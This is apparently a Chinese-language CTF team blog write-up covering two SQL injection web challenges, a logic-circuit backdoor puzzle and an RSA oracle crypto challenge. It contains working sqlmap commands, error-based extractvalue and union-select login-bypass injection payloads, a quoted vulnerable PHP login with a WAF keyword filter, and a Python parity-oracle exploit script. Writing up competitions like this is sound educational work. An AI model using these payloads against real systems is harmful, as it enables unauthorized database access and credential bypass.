- 队伍名称:北理工的恶龙
- 答对题数:4
- 最终排名:18
- 最终得分:1738.1

这波是WEB和二进制一起白给(x),然后被唐老板带飞
看到两道sql注入题的时候,我的第一反应是: “这一血我稳了” ,然后把题目看错了拖了两个小时......不过还好把WEB签到给他签上了(我好白给啊)
回顾一下比赛过程:
WEB
easy sql

"May there be enough clouds, to make a beautiful sunset."
发布于 2020-11-07 43 次阅读
这波是WEB和二进制一起白给(x),然后被唐老板带飞
看到两道sql注入题的时候,我的第一反应是: “这一血我稳了” ,然后把题目看错了拖了两个小时......不过还好把WEB签到给他签上了(我好白给啊)
回顾一下比赛过程:
这一看就是签到题啊,直接上sqlmap
一把梭:
sqlmap -u "http://124.71.148.26:30022/" --form
好家伙,能直接时间盲注,那就先梭着
然后直接爆表爆列爆字段:
sqlmap -u "http://124.71.148.26:30022/" --form -D security --tables
sqlmap -u "http://124.71.148.26:30022/" --form -D security -T flag --columns
就在这里,我爆不下去了......爆不出列名,爆不出字段,然后时间盲注注出来全是空表假表:
后面猜测应该是网络不稳定,导致每次的回显时间波动极大,造成了时间盲注的误判......当然也可能是主办方设置了障碍(x)
这个时候本来应该手写脚本时间盲注的,然后张大佬curl
了一下发现这玩意居然有报错回显???
curl http://124.71.148.26:30022/ -X POST -d "uname=123'&passwd="
既然有报错回显,那剩下的事情交给我就好了(x)
直接报错注入一把梭:(前面已经查到flag表了,这里直接爆字段就好)
curl http://124.71.148.26:30022/ -X POST -d "uname=admin' and extractvalue(1, concat(0x7e, (select * from flag limit 1)))--&passwd='(123"
flag太长显示不全,截断之后看后半段:
curl http://124.71.148.26:30022/ -X POST -d "uname=admin' and extractvalue(1, concat(0x7e, (right((select * from flag limit 1),20))))--&passwd='(123"
综合一下,payload分两段,注意括号引号闭合即可:
http://124.71.148.26:30022/
uname=admin' and extractvalue(1, concat(0x7e, (select * from flag limit 1)))--
&passwd='(123
# 第一段爆出前半段flag
#
http://124.71.148.26:30022/
uname=admin' and extractvalue(1, concat(0x7e, (
right((select * from flag limit 1),20)
)))--
&passwd='(123
# 第二段爆后半段
一看标题就知道,这在暗示我注入
盲猜一波验证码不失效漏洞,直接打开BP开始爆破......然后发现除了第一个是正常回显,其他都是“验证码错误”......Fine,这个验证单次有效,验证码破不了,真就防暴力了
暴力破不了,就看看看hint
点击hint看到了部分源代码:
<?php
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>
代码审计一波:sqlwaf
只对password
做了检测,对username
没做限制???
那不就对着username一顿梭
再看第28行和30行,意思是匹配到用户名为admin
并且密码为对应密码的数据时,输出flag,而且在password这里做的是弱比较
WEB狗第一反应当然是弱比较啊!!直接冲payload,然后发现这个password好像有点复杂,弱比较也比不上......
再往看看别的:
第26、27行,后端只要检测到了数据就往下执行......
这个要慌,问题挺大的
然后就利用这个,加上一点SQL的奇技淫巧:union select
一个元组出来,放到首行,那这个检测到的password
就是我们自己设置的表外值了
看看本地测试:
这里我们select
了一个不存在的用户,检测结果自然只剩下我们union select
中的内容
所以最终payload:
username: a' union select 1,'admin','123'#
password: 123
签到题浪费太多时间了,导致后面的题直接白给x(我好菜啊)
张大佬被二进制搞自闭了,直接加入唐老板开冲密码学......
WEB弟弟落泪,什么时候才能像唐老板一样强啊QAQ
以下内容为唐老板亲笔WP:
题目要求我们设计一套逻辑电路满足一系列测试。
我们观察到两个输入都是256位,输出位32位,要求在输入向量相同的时候输出100000....
不同时输出11111111....
,并且需要有一个后门,在b向量为某个值的时候输出1000000....
,并且只给了3个逻辑运算,AND,XOR和INV。
我们可以这样设计,后门简单的让b的每一位AND起来,那么只有在b为\xff * 32
时最后的结果才为1,如果要判断两个向量相同,可以将a和b的每一位进行异或,取反再AND起来。最后需要在后门条件达成或者向量相同是输出100000.....
,因为没有或,所以需要用与和取反表示或,在此不在赘述。
然后再考虑wire表的含义,根据题目中的含义和我们需要的临时变量我们定义下面的wire表:
我们首选要对wire[512]和wire[514]的结果取反为1,用下面代码生成电路描述文件:
content = '''a 547
256 256 32
a 512 512 INV
a 514 514 INV
a 515 515 INV
'''
for i in range(256, 256+128):
content += 'a {} 512 512 AND\n'.format(i)
# b backdoor
for i in range(128):
content += 'a {} {} 513 XOR\na 513 513 INV\na 513 514 514 AND\n'.format(i, i+256)
# # a b same
content += '''a 512 512 INV
a 514 514 INV
a 512 514 513 AND
'''
for i in range(516, 547):
# content += 'a {} 513 INV\n'.format(i)
content += 'a 512 514 {} AND\n'.format(i)
print(len(content))
with open('res', 'w') as f:
f.write(content)
最后生成文件的大小有19k,通过socket上传一半会断开,故对输入变量只检查前半部分,成功将文件大小缩减到9k
密码学签到题,首先可见它生成了两个RSA秘钥,用第一个加密了随机的secret,第二个加密了flag。
题目提供了第一个RSA的解密机,但是不能解密secret,但是我们可以尝试解密2*secret
。有:
所以我们计算2ec mod n
后进行解密,得到2m mod n
$,如果2m < n
那么结果为偶数,直接除2得到secret,反之加n除2后得到结果。
第二层需要提供正确的secret,提供一个解密机但是只提供最后一位,直接使用Parity Oracle算出flag。
from Crypto.Util import number
from nclib import Netcat
import gmpy2
e = 0x10001
io = Netcat(('119.3.152.203', 7001), verbose=False)
io.recv_until(b'llp\n')
n = int(io.recv_until(b'\n')[:-1])
nn = int(io.recv_until(b'\n')[:-1])
enc_flag = int(io.recv_until(b'\n')[:-1])
while True:
io.recv_until(b'>')
io.send_line(b'l')
enc_sec = int(io.recv_until(b'\n')[:-1])
payload = pow(2, e, n) * enc_sec % n
io.recv_until(b'>')
io.send_line(b'p')
io.send_line(str(payload).encode())
sec_2 = int(io.recv_until(b'\n')[:-1])
if sec_2 % 2 == 0:
sec = sec_2 // 2
print('get sec: ', sec)
break
io.recv_until(b'>')
io.send_line(b'u')
# io.send_line(str(sec).encode())
def parity_oracle(n, query):
"""input: n: the modulus of the RSA
query: query is a function which inputs an int i, returns if the m*(2^i)%n is odd
return: int m
"""
i = 0
x = 0
while n >> i:
res = query(i+1)
if res:
x = 2 * x + 1
else:
x = 2 * x
i += 1
print(i, x)
return (x+1) * n // 2 ** i
def q(i):
new_c = enc_flag * pow(2, i * e, nn) % nn
io.recv_until(b'>')
io.send_line(b'o')
io.send_line(str(sec).encode())
io.send_line(str(new_c).encode())
return int(io.recv_until(b'\n')[:-1].decode())
res = parity_oracle(nn, q)
print(res)
io.interact()
唐老板tql,唐老板ddw
总的来说这次比赛感觉打的还不错,居然挤进了前20......甚至还抢到了一血二血
WEB太久没遇到签到了,难得一次签到题居然想偏了做了半天......(我这就爬)
WEB还是得多练,原型链污染得多看看x,密码学也得加强一下(咕咕咕警告x)
然后MISC真就没人做了吗......srds我感觉现在的MISC确实十分不友好
Comments | NOTHING